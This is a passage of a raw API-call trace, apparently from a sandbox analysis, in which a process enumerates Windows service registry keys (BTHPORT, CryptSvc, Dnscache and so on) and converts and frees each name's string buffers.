RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0170.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0170.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.514] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.514] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.514] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.514] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0170.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0170.514] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0170.515] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.515] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.515] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.515] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.515] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0170.515] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0170.515] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0170.515] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.515] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.515] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.515] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.515] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0170.515] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0170.515] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0170.515] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.515] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.515] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.515] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.515] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0170.515] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0170.515] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0170.515] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.515] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.515] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.515] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.515] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0170.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0170.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0170.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.516] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.516] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.516] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.516] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0170.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0170.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0170.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.516] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.516] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.516] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.516] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0170.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0170.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0170.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.516] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.516] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.516] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.516] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0170.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0170.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0170.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.516] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.517] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0170.517] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0170.517] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0170.517] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.517] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0170.517] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0170.517] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0170.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0170.517] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0170.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0170.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0170.517] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0170.517] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0170.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.517] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0170.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1d18, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0170.517] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0170.517] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0170.517] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0170.517] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0170.518] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0170.518] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0170.518] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0170.518] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0170.518] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0170.518] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0170.518] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0170.518] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0170.518] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0170.518] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0170.518] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0170.518] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0170.518] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0170.518] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0170.518] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0170.518] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0170.518] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0170.519] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0170.519] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0170.519] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0170.519] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0170.519] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0170.519] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0170.519] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0170.519] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0170.519] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0170.519] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0170.519] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0170.519] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0170.519] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0170.519] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0170.519] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0170.519] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0170.520] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0170.520] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0170.520] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0170.520] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0170.520] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0170.520] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0170.520] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0170.520] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0170.520] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0170.521] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0170.521] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0170.521] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0170.521] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0170.521] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0170.521] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0170.521] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0170.521] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0170.521] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0170.521] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0170.521] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0170.521] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0170.521] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0170.521] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0170.521] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0170.521] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0170.521] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0170.522] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0170.522] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0170.522] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0170.522] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0170.522] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0170.522] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0170.522] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0170.522] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0170.522] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0170.522] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0170.522] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0170.522] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0170.522] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0170.522] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0170.522] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0170.522] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0170.522] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0170.523] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0170.523] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0170.523] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0170.523] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0170.523] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0170.523] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0170.523] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0170.523] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x95, 